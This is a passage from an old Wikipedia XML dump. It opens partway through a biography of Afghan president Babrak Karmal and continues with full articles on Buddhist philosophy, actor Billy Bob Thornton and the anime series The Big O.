In prison, Karmal was befriended by a fellow inmate, '''Mier Akbar Khybar'''. A third inmate, '''Mier Mohammad Siddiq Farhang''', initiated both to pro-Moscow leftist views. After graduation he entered the '''Ministry of Planning''', keeping in close touch with those who had special knowledge on communism, among them Mier Mohammad Siddiq Farhang and '''Ali Mohammad Zahma'''', a professor at Kabul University. 

==Political career==

On [[January 1]] [[1965]] the [[People's Democratic Party of Afghanistan]] was founded in Kabul, with Karmal serving as one of its twenty-eight founding members in its founding congress. Karmal was appointed its Secretary. As a result, he was elected and served in the '''National Assembly''' from 1965 until 1973. 

In [[1967]], when the party split into the [[Khalq]] and the [[Parcham]] factions, Karmal became the leader of the more moderate Parcham faction.  When [[Mohammed Daoud Khan]] overthrew the [[monarchy]] and instituted the Republic, Karmal’s faction shared power with him, although Karmal himself did not hold an official position. However, once President Daoud felt secure in his position, dismissed [[Parcham]]is from the presidential cabinet and tried to distance Afghanistan from the [[Soviet Union]]. 

The factions reunited in [[1977]], and in April [[1978]] seized control of Afghanistan. Karmal was initially deputy prime minister but following the rise of the rival Khalq faction he was soon 'exiled' as ambassador to [[Prague]]. 

The PDPA was attempting to modernize the country in line with socialist ideas, but there was major unrest. In December 1979 the Soviets invaded Afghanistan and called Karmal back to be President of the Democratic Republic of Afghanistan. Babrak Karmal, exiled leader of the Parcham faction of the PDPA was installed by the Soviets as Afghanistan's new head of government.

==President of the Republic==
[[Image:AfghanFlag1980.png|thumb|Flag of the Democratic Republic of Afghanistan during Babrak Karmal's rule. The flag was changed in order to reflect a more &quot;Islamic&quot; and popular design, restoring the historical colors that the was common in previous flags.]]

In his first radio broadcasts Karmal gave hopeful promises. He said that henceforth there would be no [[Execution (legal)|executions]] and that a new [[constitution]] would be drawn up providing for the [[Democracy|democratic]] election of national and local assemblies. He also promised that political parties would function freely and that both personal property and individual [[freedom]] would be safeguarded. In particular, he stressed that soon a government representing a united national front would be set up and that it would not pursue socialism.

He manage to fullfill some of his promises: the release of some political prisoners; the promulgation of the Fundamental Principles of the [[Democratic Republic of Afghanistan]]; the change of the red, Soviet-style banner of the [[Khalq]] period to the more orthodox one of black, red, and green; the granting of concessions to religious leaders; and the conditional restoration of confiscated property.

However, his Government didn't enjoy International support from the beginning. The [[United Nations]] General Assembly voted by 104 to 18 with 18 abstentions for a resolution which &quot;strongly deplored&quot; the &quot;recent armed intervention&quot; in [[Afghanistan]] and called for the &quot;total withdrawal of foreign troops&quot; from the country.

Immediate problems also were within the party. He was the chosen man of the [[Kremlin]], and no one within the party could openly oppose him. However, scheming men devise ways to oppose even under the strictest of circumstances. No attempt was made to televise the process by which, even within the official party and the '''Revolutionary Council''', Karmal was elected head of the party and of the state. 

Karmal’s poor performance in interviews with foreign journalists also failed to help his public image. In the first and last televised interview of his life, held before a large number of foreign and Afghan journalists after he was raised to power, Karmal divided the journalists on the basis of the [[Cold War]] line distinguishing between the '''imperialist bloc''' and the '''socialist bloc countries.''' 

Thus, the civil war in Afghanistan started. This was a different type of war, however, since it was a guerrilla warfare and a war of attrition between the PDPA-Communist controlled regime and the [[mujahidin]]; it cost both sides a great deal. Many Afghans, perhaps as many as five million, or one-quarter of the country's population, fled to [[Pakistan]] and [[Iran]] where they organized into guerrilla groups to strike Soviet and government forces inside Afghanistan. 

Others remained in Afghanistan and also formed fighting groups. These various groups were supplied with funds to purchase arms, principally from the [[United States]], [[Saudi Arabia]], [[China]], and [[Egypt]].

==Fall from power==
[[Image:Karmal01.jpg|thumb|right|President Karmal with Afghan troops in the frontline. The Afghan Army and Airforce became powerful tools against the insurgency.]]

The regime ruled only the city of Kabul, the provincial capitals, and those strategic areas where the Soviets and the Afghan Military had stationed military contingents and militia units. Despite high casualties on both sides, pressure continued to mount on the [[Soviet Union]], especially after the [[United States]] brought in [[Stinger]] [[anti-aircraft]] missiles which severely reduced the effectiveness of Soviet air cover.   

[[Moscow]] came to regard Karmal as a failure and blamed him for the problems. Years later, when Karmal’s inability to consolidate his government had become obvious, [[Mikhail Gorbachev]], then General Secretary of the [[Soviet Communist Party]], said: 

:''The main reason that there has been no national consolidation so far is that Comrade Karmal is hoping to continue sitting in Kabul with our help.''

Not only that, but some Afghan troops who had fought for the Communist Government began to defect. In May [[1986]] he was replaced as party leader by [[Mohammad Najibullah]], and six months later he was relieved of the presidency. Karmal moved to Moscow, where he remained until his death.

&lt;br&gt;
{{start box}}
{{succession box |
  before=[[Hafizullah Amin]] |
  title=[[President of Afghanistan]] |
  years= December 1979 &amp;ndash; November 1986 |
  after=[[Haji Mohammad Chamkani]] |
}}
{{succession box |
  before=[[Hafizullah Amin]] |
  title=[[Prime Minister of Afghanistan]] |
  years= December 1979 &amp;ndash; June 1981 |
  after= Sultan Ali Keshtmand |
}}
{{succession box |
  before=[[Hafizullah Amin|Hafizullah Amin]] |
  title= General Secretary of the [[People's Democratic Party of Afghanistan]] |
  years= December 1979 &amp;ndash; May 1986 |
  after=[[Mohammad Najibullah|Mohammad Najibullah]] |
}}
{{succession box |
  before=[[Hafizullah Amin]] |
  title=Chairman of the Revolutionary Council |
  years= December 1979 &amp;ndash; October 1986 |
  after=[[Mohammad Najibullah]] |
}}
{{end box}}
&lt;/br&gt;

==See also==

*[http://www.afghanland.com/history/karmal.html Biography of President Karmal - Afghani.com]

[[Category:1929 births|Karmal, Babrak]]
[[Category:1996 deaths|Karmal, Babrak]]
[[de:Babrak Karmal]]
[[fa:ببرک کارمل]]
[[nl:Babrak Karmal]]
[[ja:バーブラーク・カールマル]]
[[no:Babrak Karmal]]
[[ps:ببرک کارمل]]
[[sv:Babrak Karmal]]
[[zh:巴布拉克·卡尔迈勒]]</text>
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  <page>
    <title>Buddhist philosophy</title>
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      <text xml:space="preserve">{{merge|Buddhist religious philosophy}}

{{buddhism}}
'''Buddhist philosophy''' is the branch of [[Eastern philosophy]] based on the teachings of [[Gautama Buddha]] (c. [[563 BCE]] - c. [[483 BCE]]). Buddhist philosophy deals extensively with problems in [[metaphysics]], [[phenomenology]], [[ethics]], and [[epistemology]]. 

== Introduction ==
From its inception, Buddhism has had a strong philosophical component. Buddhism is founded on the rejection of certain [[Hindu philosophy|orthodox]] philosophical concepts, in which the Buddha had been instructed by various teachers. Buddhism rejects [[atheism]], [[theism]], [[monism]], and [[dualism]] alike.  The Buddha criticized all concepts of metaphysical [[being]] and non-being, and this critique is inextricable from the founding of Buddhism.

Particular points of Buddhist philosophizing have often been the subject of disputes between different [[schools of Buddhism]]. Metaphysical questions such as &quot;Is there a god?&quot; and &quot;Does the soul ([[Atman]]) really exist?&quot; have divided the Buddha's followers even during his own lifetime, and epistemological debates over the proper modes of evidence have always been lively in Buddhism.

Readers should note that theory for its own sake is not valued in Buddhism, but theory pursued in the interest of enlightenment for oneself or others is fully consistent with Buddhist values and ethics.

===Buddhism ''as'' philosophy?===

Some have asserted that Buddhism as a whole is a [[philosophy]] rather than a [[religion]]. Proponents of such a view may argue that (a) Buddhism is non-[[theism|theistic]] (i.e., it has no special use for the existence or nonexistence of a god or gods) or [[atheistic]] and (b) religions necessarily involve some form of theism. Others might contest either part of such an argument. Other arguments for Buddhism &quot;as&quot; philosophy may claim that Buddhism does not have doctrines in the same sense as other religions; the Buddha himself taught that a person should accept a teaching only if one's own experience verifies it.

Arguments against Buddhism as a philosophy might call attention to the way Buddhism's pervasive inclusion of supernatural entities (not &quot;gods&quot; in the sense of Western [[monotheism]], of course), to what most scholars identify as worship practices (ceremonial reverence of saints, etc.), to Buddhism's thoroughly developed hierarchies of clergy (not usually characteristic of a &quot;philosophy&quot;), and its overall religious organization.

A third perspective might take the position that Buddhism can be practiced either as a religion or as a philosophy. A similar distinction is often made with reference to [[Taoism]].

Lama Anagorika Govinda expressed it as follows in the book 'A Living Buddhism for the West': 
:''&quot;Thus we could say that the Buddha's Dharma is,''
:''as experience and as a way to practical realisation, a religion;''
:''as the intellectual formulation of this experience, a philosophy;''
:''and as a result of self-observation and analysis, a psychology.''
:''Whoever treads this path acquires a norm of behaviour that is not dictated from without, but is the result of an inner process of maturation and that we - regarding it from without - can call morality.&quot;''

It should also be noted that in the South and East Asian cultures in which Buddhism achieved most of its development, the distinction between [[philosophy]] and [[religion]] is somewhat unclear and possibly quite spurious, so this may be a semantic problem arising in the West alone.

== Philosophical areas addressed in Buddhism ==

=== Epistemology ===

Decisive in distinguishing [[Buddhism]] from what is commonly called [[Hinduism]] is the issue of [[epistemology|epistemological]] justification. The schools of Indian [[History of logic|logic]] recognize a certain set of valid justifications for knowledge, while Buddhism recognizes a smaller set. Both accept [[perception]] and argument, for example, but for the orthodox schools (of Hinduism), the received textual tradition (e.g., the Vedas) is in itself an epistemological category equal to perception and argument (although this is not necessarily true for some of the non-orthodox schools, like [[Vedanta]]). Thus, in the orthodox schools, if a claim was made that could not be substantiated by appeal to the textual canon, it would be viewed as ridiculous as a claim that the sky was green.

Buddhism, on the other hand, rejected an inflexible reverence of accepted doctrine. As the Buddha said:
:''Do not accept anything by mere tradition. . . Do not accept anything just because it accords with your scriptures. . . Do not accept anything merely because it agrees with your pre-conceived notions. . . But when you know for yourselves -- these things are moral, these things are blameless, these things are praised by the wise, these things, when performed and undertaken, conduce to well-being and happiness -- then do you live acting accordingly.''
:: -- the [[Kalama Sutta]], [[Anguttara Nikaya]] III.65

=== Metaphysics and phenomenology ===

====Issues arising from the doctrine of anatta====

In [[earliest Buddhism]] and today still in [[Theravada|Therav&amp;#257;da]] and the [[Madhyamaka]], any metaphysical essence or [[being]] underlying the play of phenomenal experience is rejected. No &quot;[[soul]]&quot; or permanent self was recognized, and the perception of a continuous identity was held to be an illusion. 

:''Any feeling whatsoever, any perception whatsoever, any mental processes whatsoever, any consciousness whatsoever -- past, future, or present; internal or external; blatant or subtle, common or sublime, far or near; every consciousness -- is to be seen as it actually is with right discernment as &quot;This is not mine. This is not my self. This is not what I am.&quot;''
:: -- the Anattalakkhana Sutta, [[Samyutta Nikaya]] XXII.59

From within the context of the Madhyamaka, we find [[Candrakirti]]: 
:&quot;''[[Atman (Buddhism)|Self]] is an essence of things that does not depend on others; it is an intrinsic nature. The non-existence of that is [[Anatta|selflessness]]''&quot;. 
::-- Bodhisattvayogacaryācatuḥśatakaṭikā 256.1.7

This anti-essentialist teaching, known as [[anatta]], brought up many questions. If there is no [[Atman (Buddhism)|&amp;#257;tman]] or Brahman underlying the objects and events of the universe, how ''could'' they be explained? What gave them their existence? And if there was no &quot;self&quot;, who makes the decisions we think we make, and what gets reincarnated?

Early Buddhist philosophers and exegetes created a [[Pluralism (philosophy of mind)|pluralist]] metaphysical and phenomenological system in which all experiences of people, things, and events, can be broken down into smaller and smaller perceptual or perceptual-ontological units called [[Dharma#Dharmas in Buddhist phenomenology|dharmas]]. These dharmas (roughly synonymous with &quot;phenomena&quot;) were interpreted differently by different schools: some held they were real, some held only some were real, some held all were illusory, some held they were [[Shunyata|empty]], some held they were intrinsically associated with suffering, etc.

Other debates in metaphysics and phenomenology include the issue of the [[Pudgala]], or &quot;person&quot;, which was inserted by the [[Pudgalavada]] school to replace the &amp;#257;tman as that which transmigrates and that which carries the burden of karma from one life to another. Other schools made unsurprising objection to this. There were further sub-debates regarding whether the pudgala was real or illusory or something in between. The [[Yogacara]] school, somewhat later, would later elevate the mind to act as a substitute for Brahman, much as the Pudgala replaces the &amp;#257;tman.

In many or all of these debates, some would point out the irony of pursuing questions which the Buddha was often prone to refuse to answer, on the grounds that they were non-conducive to enlightenment.

For more detailed information, see [[Schools of Buddhism]] and the individual schools themselves.

====Dependent Origination====

The original positive Buddhist contribution to the field of metaphysics is ''[[Pratitya-samutpada|prat&amp;#299;tyasamutp&amp;#257;da]]'', which arises from the Buddhist critique of Indian theories of [[causality]]. It states that events are not [[Predestination|predetermined]], nor are they [[random]], and it rejects notions of direct causation owing to the need for such theories in the Indian context to be undergirded by a substantialist metaphysics. Instead, it posits the arising of events under certain conditions which are inextricable, such that the units in question at no time have independent existence.

:''This being, that becomes.''
:''From the arising of this, that arises.''
:''This not being, that does not become.''
:''From the ceasing of this, that ceases.''
:: -- [[Samyutta Nikaya]] ii.28

''Pratitya-samutpada'' goes on to posit that certain specific events, concepts, or realities are always dependent on other specific things. Craving, for example, is always dependent on, and caused by, emotion. Emotion is always dependent on contact with our surroundings. This chain of causation purports to show that the cessation of decay, death, and sorrow is indirectly dependent on the cessation of craving, and ultimately dependent on an all-encompassing stillness.

[[Nagarjuna|{{nagarjuna}}]], one of the most influential Buddhist philosophers, asserted a direct connection between, even identity of, dependent origination, anatta, and śūnyatā. He pointed out that implicit in the early Buddhist concept of dependent origination is the lack of any substantial being (anatta) underlying the participants in origination, so that they have no independent existence, a state identified as emptiness (śūnyatā), or emptiness of a nature or essence (sva-bh&amp;#257;va). This element of {{nagarjuna}}'s thought is relatively uncontroversial, but it opens the way for his identification of [[samsara | sa{{M}}s&amp;#257;ra]] and [[nirvana]], which was revolutionary.

===Interpenetration===

This doctrine comes from the [[Avatamsaka Sutra]] and its associated schools. It holds that all phenomena are intimately connected. Two images are used to convey this idea. The first is known as Indra's net. The net is set with jewels which have the extraordinary property that they reflect all of the other jewels. The second image is that of the world text. This image portrays the world as consisting of an enormous text which is as large as the universe itself. The 'words' of the text are composed of the phenomena that make up the world. However, every atom of the world contains the whole text within it. It is the work of a Buddha to let out the text so that beings can be liberated from suffering.

This idea was enormously influential on the [[Japan|Japanese]] monk [[Kukai|k&amp;#363;kai]] in founding the [[Shingon Buddhism|Shingon]] school of Buddhism.

===Ethics===

Although there are many ethical tenets in Buddhism that differ depending on whether one is a monk or a layman, and depending on individual schools, the Buddhist system of ethics can always be summed up in the [[Eightfold Path]]. 

:''And this, monks, is the noble truth of the way of practice leading to the cessation of suffering -- precisely this Noble Eightfold Path -- right view, right resolve, right speech, right action, right livelihood, right effort, right mindfulness, right concentration.''
:: -- [[Samyutta Nikaya]] LVI.11

The purpose of living an ethical life is to escape the suffering inherent in (unenlightened) worldly life.  Although early Buddhism ([[Hinayana]]) is contrasted with later Buddhism ([[Mahayana]]) in that the latter emphasizes striving for the enlightenment of all (apparent) beings rather than simply oneself, in neither case can the motivation for ethical living be called 'selfish', because Buddhist doctrine holds the notion of a 'self' to be illusory.

Buddhist teachings claim that there is no real difference between ourselves and others; therefore one should attempt to increase the happiness of all living things as eagerly as one's own. This is why many Buddhists choose to be [[vegetarianism|vegetarians]].

== Historical development of Buddhist philosophy ==

=== Early development ===

The philosophical outlook of [[Earliest Buddhism]] was primarily negative, in the sense that it focused on what doctrines to ''reject'' more than on what doctrines to ''accept''. This dimension has been preserved by the [[Madhyamaka]] school. It includes critical rejections of all views, which is a form of philosophy, but it is reluctant to posit its own. Only knowledge that is useful in achieving [[enlightenment (Buddhism)|enlightenment]] is valued. The cycle of philosophical upheavals that in part drove the diversification of Buddhism into its many schools and sects only began once Buddhists began attempting to make explicit the implicit philosophy of the Buddha and the early Suttas.

After the death of the Buddha, attempts were made to gather his teachings and transmit them in a commonly agreed form, first orally, then also in writing (The [[Tripitaka]]).  In addition to collecting the Buddha's speeches and rules for monastic life ([[Vinaya]]), monks soon undertook to condense what they considered the essential elements of Buddhist doctrine into lists of categories, provided with extensive commentary.
This process took shape from about the [[2nd century BCE]] to probably the [[2nd century CE]].

===Later developments===
{{expandsect}}

Very soon after, additional teachings began to be added to the list of important Buddhist texts. Many of these altered and refined Buddhist philosophy.

== Comparison with other philosophies ==

* [[Arthur Schopenhauer]] in his &quot;World as Will and Idea&quot; presented a description of suffering and its cause in a [[Western world|Western]] garb. 
* [[Baruch Spinoza]], though he argued for the existence of a permanent reality, asserts that all phenomenal existence is transitory. In his opinion sorrow is conquered &quot;by finding an object of knowledge which is not transient, not ephemeral, but is immutable, permanent, everlasting.&quot; Buddhism teaches that such a quest is bound to fail.
* [[David Hume]], after a relentless analysis of the mind, concluded that consciousness consists of fleeting mental states. Hume's [[Bundle theory]] is a very similar concept to [[anatta]]. 

==Reference==

* Elías Capriles. ''The Four Schools of Buddhist Philosophy: Clear Discrimination of Views Pointing at the Definitive Meaning. The Four Philosophical Schools of the Sutrayana Traditionally Taught in Tibet with Reference to the Dzogchen Teachings.'' Published on the Web: [http://eliascapriles.dzogchen.ru/philosophicalschools.zip http://eliascapriles.dzogchen.ru/philosophicalschools.zip]

==Some Buddhist philosophers==

* [[Asanga]]
* [[Chandrakirti]]
* [[Dignaga]]
* [[Dogen]]
* [[Fazang]]
* [[Jinul]]
* [[Jizang]]
* [[Nagarjuna]]
* [[Vasubandhu]]
* [[Wonhyo]]

==See also==

*[[List of Buddhist terms and concepts]]
*[[List of Buddhist topics]]
*[[List of sutras]]
*[[Madhyamaka]]
*[[Buddhist polemics]]
* [[List_of_publications_in_philosophy#Buddhist philosophy | Important publications in Buddhist philosophy ]]

== External links ==
* [http://www.synaptic.bc.ca/ejournal/buddhist.htm Critical Resources: Buddha &amp; Buddhism]
* [http://www.accesstoinsight.org/lib/bps/misc/nutshell.html Buddhism in a Nutshell]
* [http://www.bswa.org Hundreds of free buddhist talks and huge forum.]
* [http://www.exoticindiaart.com/article/buddha Buddha - A Hero's Journey to Nirvana]
* [http://www.lioncity.net/buddhism/index.php?showforum=24 Buddhist Philosophy Forum]
* [http://www.journalofyoga.org JOY: ''The Journal of Yoga'']


[[Category:Buddhism]]
[[Category:Religious philosophy and doctrine]]

[[nl:Boeddhistische filosofie]]
[[zh:佛教哲學]]
{{Indian Philosophy}}</text>
    </revision>
  </page>
  <page>
    <title>Billy Bob Thornton</title>
    <id>4471</id>
    <revision>
      <id>41652915</id>
      <timestamp>2006-02-28T20:40:42Z</timestamp>
      <contributor>
        <username>Ben King</username>
        <id>389535</id>
      </contributor>
      <text xml:space="preserve">{{Infobox Celebrity
| name        = Billy Bob Thornton
| image       = BillyBobThornton.jpg
| caption     = Thornton in the movie [[Pushing Tin]]
| birth_date  = [[August 4]], [[1955]]
| birth_place = [[Hot Springs, Arkansas]], [[USA]]
| death_date  = 
| death_place = 
| occupation  = [[Actor]], [[film director|director]], [[playwright]], screenwriter and [[singer]]
| salary      = 
| networth    = 
| website     =
| footnotes   = 
}}
'''Billy Bob Thornton''' (born '''William Robert Thornton''' on [[August 4]] [[1955]], in [[Hot Springs, Arkansas]], to a father of [[Irish people|Irish]] descent and an [[Italy|Italian]]/[[Choctaw]] [[Indigenous peoples of the Americas|Native American]] mother) is an [[United States|American]] [[actor]], and also an occasional director, playwright, screenwriter and [[singer]]. He has married five times and his most recent ex-wife is actress [[Angelina Jolie]].

In his late twenties, Thornton settled on Los Angeles to pursue his career as an actor alongside future writing partner Tom Epperson. Like many other actors, Thornton had a difficult time succeeding as an actor while taking on several odd jobs such as telemarketing, fast food management, and any way to support himself while waiting for a big break. He suffered a bout of [[myocarditis]] (inflammation of the heart) due to a diet of potatoes, which was the only food he could afford. With his mother's encouragement, Thornton kept plugging away for his big break. It was later on while Thornton was working as a waiter for an industry event that he was serving film director Billy Wilder. Thornton struck up a conversation with the film legend who advised the actor that given his not so movie star-like looks, he should consider writing to help utilize both his looks and his skills. Thornton put this advice to good use, going on to write, direct and star in ''[[Sling Blade]]''.

He first came to semi-prominence as a cast member on the [[CBS]] [[Situation comedy|sitcom]] ''[[Hearts Afire]]'' with [[John Ritter]] and [[Markie Post]]. His role as the villain in ''[[One False Move]]'' brought him to the attention of critics. He also had small roles in films like ''[[Indecent Proposal]]'', ''[[On Deadly Ground]]'', and ''[[Tombstone (film)|Tombstone]]''.

In [[1996]], he wrote, directed, and starred in an independent film titled ''[[Sling Blade]]'', an expansion of a short film titled ''Some Folks Call It a Sling Blade''. It is the story of Karl Childers, a mentally retarded man. ''Sling Blade'' garnered international acclaim, won Thornton an [[Academy Award]] for his [[Academy Award for Writing Original Screenplay|screenplay]] (as well as a nomination for his performance), which made him an overnight movie star.

Thornton is a rare celebrity in that he has [[A-list]] status, but plays both leading-man roles and character roles. His southern, small-town persona has led him to be cast in a number of down-to-earth, &quot;regular guy&quot; parts. Even his role as the legendary [[Davy Crockett]] in [[2004 in film|2004]]'s ''[[The Alamo (2004 film)|The Alamo]]'' made an effort to demythologize the character and bring out his human foibles.

After his success in Hollywood Thornton, who has a life-long love for music, decided to start a [[singer-songwriter]] career. The result was the dark and personal [[roots rock]] album ''Private Radio'', released in 2001. After that Thornton has released two more albums, the critically-acclaimed ''The Edge of the World'' in 2003 and ''Hobo'' in 2005. He also performed the [[Warren Zevon]] song ''The Wind'' on the tribute album ''[[Enjoy Every Sandwich: Songs of Warren Zevon]]''.

Thornton is known for various idiosyncratic behaviors, well-documented in interviews with the actor. Among these is a phobia for antique furniture, something shared by the [[Dwight Yoakam]] character in the Thornton-penned ''[[Sling Blade]]''. That trait was also added to Thornton's character in the 2001 film ''Bandits''. He and actress [[Angelina Jolie]] famously wore vials of each others' blood around their necks while married to each other.

Thornton lives in [[Los Angeles]] and has a home in [[Paris]].

See also: [[Alpine, Arkansas]]

==Partial filmography==
* ''[[The Ice Harvest]]'' ([[2005]])
* ''[[Bad News Bears]]'' ([[2005]])
* ''[[Friday Night Lights]]'' ([[2004]])
* ''[[The Alamo (2004 film)|The Alamo]]'' ([[2004]])
* ''[[Chrystal]]'' ([[2004]])
* ''[[Bad Santa]]'' ([[2003]])
* ''[[Love Actually]]'' ([[2003]])
* ''[[Intolerable Cruelty]]'' ([[2003]])
* ''[[Levity]]'' ([[2003]])
* ''[[The Man Who Wasn't There]]'' ([[2001]])
* ''[[Monster's Ball]]'' ([[2001]])
* ''[[Pushing Tin]]'' ([[1999]])
* ''[[Homegrown]]'' ([[1998]])
* ''[[A Simple Plan]]'' ([[1998]])
* ''[[Armageddon (film)|Armageddon]]'' ([[1998]])
* ''[[Primary Colors]]'' ([[1998]])
* ''[[The Apostle]]'' ([[1997]])
* ''[[Princess Mononoke]]'' (voice) ([[1997]])
* ''[[U-Turn]]'' ([[1997]])
* ''[[Sling Blade]]'' ([[1996]])
* ''[[Aunt Avis (Widespread Panic Music Video)]]'' ([[1996]])
* ''[[On Deadly Ground]]'' ([[1994]])
* ''[[Bound by Honor]] (Blood in Blood Out)'' ([[1993]])
* ''[[Tombstone (film)|Tombstone]]'' ([[1993]])
* ''[[Indecent Proposal]]'' ([[1993]])
* ''[[One False Move]]'' ([[1991]])
* ''[[Live At the Georgia Theater (Widespread Panic Concert Video)]]'' ([[1990]])
* ''[[Bandits]] ([[2001]])

==External links==
* {{imdb name|id=0000671|name=Billy Bob Thornton}}
* [http://www.billybobthornton.net Billy Bob Thornton official site]
* [http://www.billybobmusic.com Billy Bob Music]
* [http://www.popmatters.com/music/interviews/thornton-billy-bob-051026.shtml &quot;Billy Bob's Unlikely Muse&quot;, ''PopMatters'' interview (10/2005)]

 &lt;!-- Sling Blade --&gt;
 &lt;!-- A Simple Plan --&gt;
 &lt;!-- Princess Mononoke --&gt;

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[[Category:Knots Landing actors|Thornton, Billy Bob]]
[[Category:American film directors|Thornton, Billy Bob]]
[[Category:Irish-American actors|Thornton, Billy Bob]]
[[Category:Italian-Americans|Thornton, Billy Bob]]
[[Category:Choctaw|Thornton, Billy Bob]]
[[Category:Living people|Thornton, Billy Bob]]

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[[sv:Billy Bob Thornton]]</text>
    </revision>
  </page>
  <page>
    <title>The Big O</title>
    <id>4472</id>
    <revision>
      <id>41583019</id>
      <timestamp>2006-02-28T08:02:34Z</timestamp>
      <contributor>
        <username>Ned Scott</username>
        <id>575617</id>
      </contributor>
      <comment>infobox, also, that image has receaved copywrite info, so it's back on</comment>
      <text xml:space="preserve">{{mergefrom|Big duo}}
{{Infobox animanga/Header|
 title_name=The Big O
 |image=Big o.jpg
 |size=
 |caption=
 |ja_name=
 |ja_name_trans=
 |genre=action, mecha, sci-fi
}}
{{Infobox animanga/Anime|
 title=
 |director=
 |studio=
 |network=
 |first_aired=
 |last_aired=
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}}
{{Infobox animanga/Footer}}
'''''The Big O''''' (THE ビッグオー) is the title of an [[anime]] [[television]] series, which also has a [[manga]] adaptation. ''The Big O'' manga is published in [[English language|English]] by [[Viz Communications]]. Both seasons of the anime series have been released on DVD by [[Bandai Entertainment]]. ''The Big O'' was written by [[Chiaki J. Konaka]], who also wrote scripts for [[Bubble Gum Crisis]], [[Magic Users Club]], and [[Serial Experiments Lain]]. Producers were [[Sunrise]] and [[Cartoon Network]] (during second season).

An example of [[cultural cross-fertilization]], the artistic style of ''Big O'' is somewhat based on [[Warner Brothers]]' ''[[Batman: The Animated Series]]'' and, despite being a Japanese work, it has many [[Christianity|Christian]] religious overtones (especially over the terms [[Behemoth]] and [[Leviathan]]). The show also seems to draw from [[Plato]]’s dialogue &quot;[[Republic (dialogue)|The Republic]]&quot;, as it continually references the &quot;watchdogs&quot; of Paradigm City while showing Roger Smith in his fight for justice. Finally, several basic premises mirror the ''Batman'' world, with the main character a high-class, influential individual leading a double life. Norman, also, can be compared to Alfred, Batman's ever-helpful butler. Both shows ran on [[Toonami]] in a similar timeframe. The tagline used for ''Batman'' was &quot;Good Guys Wear Black&quot; (which is actually the name of a [[Chuck Norris]] movie) and the tagline for ''The Big O'' was &quot;Good Guys Still Wear Black&quot;

&lt;!-- Unsourced image removed: [[image:big o.jpg|right|thumb|Counterclockwise from top : Big O, Norman Burg, Roger Smith and R. Dorothy Waynewright.]] --&gt;
The principal character of Big O is [[Roger Smith]], a professional freelance negotiator, but the added twist on the show is the fact that he is also the pilot of Big O, an enigmatic giant robot known as a megadeus which is a creation from the world prior to &quot;The Event&quot;. 

''Big O'' is set in [[Paradigm City]], a doomed metropolis with a mixture of futuristic and contemporary features. It is widely believed that no human civilization exists outside the city. Forty years before the show first takes place, a mysterious occurrence known only as &quot;The Event&quot; completely wiped out the memories of the isolated city's inhabitants. There are few clues as to what exactly took place during that fateful moment, but it forced the people of Paradigm to start anew, severed ties and all; this mystery is a central feature of the show. The Event's lingering mysteries still haunt the Negotiator in nearly every case, and they don't seem to stop, even after 'we have come to terms.' The Event has been theorized by many and seems to rear its head in every adventure unraveled before Roger, his android housemate [[R. Dorothy Wayneright]], his faithful butler [[Norman Burg]], and the whole of Paradigm City.

[[Pets]] are a rare luxury, and [[insect]]s are nonexistent, though they did exist before The Event. People sometimes remember small things from before The Event.

Initially there were only thirteen episodes created, abruptly leaving the plot with many questions left to be answered.

On [[August 3rd]], [[2003]], a second season of ''Big O'' co-produced by [[Cartoon Network]] debuted on the [[Adult Swim]] programming block of the same network. This second season continues the ''Big O'' storyline beginning with the last part of the first season's last episode, but there are some obvious differences in the style and narrative. Because it had more of a western setting and explored western themes the series did not make a huge impact in [[Japan]]. It aired on a satellite network [[WOWOW]]. But due to the popularity of its American broadcast, and with Cartoon Network funding, the second season was created by the same studio.

The second season contains elements that are explicitly derivative of the classic science-fiction movie, ''[[Metropolis_(1927_movie)|Metropolis]]''. The title of &quot;Negotiator&quot;, and the secretive group &quot;The Union&quot; have direct counterparts in ''Metropolis''. Also of interest are the numerous appearances of a red book entitled ''Metropolis'' which contains a mystery of its own, and occasionally seems not to be a book at all but a symbolic representation of Paradigm City or of the lost or collective memories of its inhabitants. 

Speculation about the meaning of the series varies widely. It contains many direct parallels to movies or theater production, prompting some to believe that the entire existence was a fabrication by one or more of the characters. In other words...a production of sorts. However, many found it nearly impossible to make sense of the ending in a way that ties up the many, many loose ends established in the series, such as Roger's bizzare flash backs and what he saw at the bottom of the sea. 

By the extraordinary amount of mysteries fans were wondering whether the show had actually ended or not. Recently, it has been revealed that the series is in fact unfinished. The production crew wished to create a third season to tie up the loose ends and finish the series, as per an option on the contract between Cartoon Network and Sunrise, but the network determined that the show lacked the marketability of Adult Swim's comedy offerings. This was further exemplified on March 28, 2005 when [adult swim] became a separately rated individual network. [http://www.timewarner.com/corp/newsroom/pr/0,20812,1043594,00.html Time-Warner reports] There is a great deal of controversy over the true nature of this decision however, there are behind the scene statements and rumors that there was difficulties within the ranks of Adult Swim concerning this program. The show's ratings were also not nearly as bad as Adult Swim had stated, not bringing in the highest but also not bringing in the lowest either. Due to the shady nature of all of this however, it is nothing more than rumor. Many accept the series for what it is now regardless of their stand on the true nature of the ending.

While the show has proven to be a unique and powerful anime, it has suffered from the stigma of being labeled as the &quot;Batman&quot; of giant robo. Nevertheless, many fans of the anime remain hopeful that one day the network will acquiesce and greenlight a third season. A petition is currently being prepared by a few fans at Savebigo and Paradigm-City.com, who are presently seeking an estimate of signatures required by Time Warner for consideration of a third season.




==Episode List==
===Season 1 (1998-1999)===
* ACT 1 -- Roger The Negotiator
* ACT 2 -- Dorothy Dorothy
* ACT 3 -- Electric City
* ACT 4 -- Underground Terror
* ACT 5 -- Bring Back My Ghost
* ACT 6 -- A Legacy of Amadeus
* ACT 7 -- The Call From The Past
* ACT 8 -- Missing Cat
* ACT 9 -- Beck Comes Back
* ACT 10 -- Winter Night Phantom
* ACT 11 -- Daemonseed
* ACT 12 -- Enemy Is Another Big!
* ACT 13 -- R - D

===Season 2 (2000-2001)===
* ACT 14 -- Roger The Wanderer
* ACT 15 -- Negotiation with the Dead
* ACT 16 -- Day of the Advent
* ACT 17 -- Leviathan
* ACT 18 -- The Greatest Villain
* ACT 19 -- Eyewitness
* ACT 20 -- Stripes
* ACT 21 -- The Third Big
* ACT 22 -- Hydra
* ACT 23 -- Twisted Memories
* ACT 24 -- The Big Fight
* ACT 25 -- The War of Paradigm City
* ACT 26 -- The Show Must Go On

==Quotes==
* &quot;Cast in the name of God, ye not guilty.&quot; - display message on Big O's console
* &quot;You really are such a louse, Roger Smith.&quot; - R. Dorothy Wayneright
* &quot;This mansion has rules even I must follow.&quot; - Roger Smith
* &quot; Big O! Showtime!&quot; - Roger Smith
* &quot;Open your eyes to the truth!&quot; - Schwarzwald
* &quot;Goodbye... Negotiator!&quot; -RD
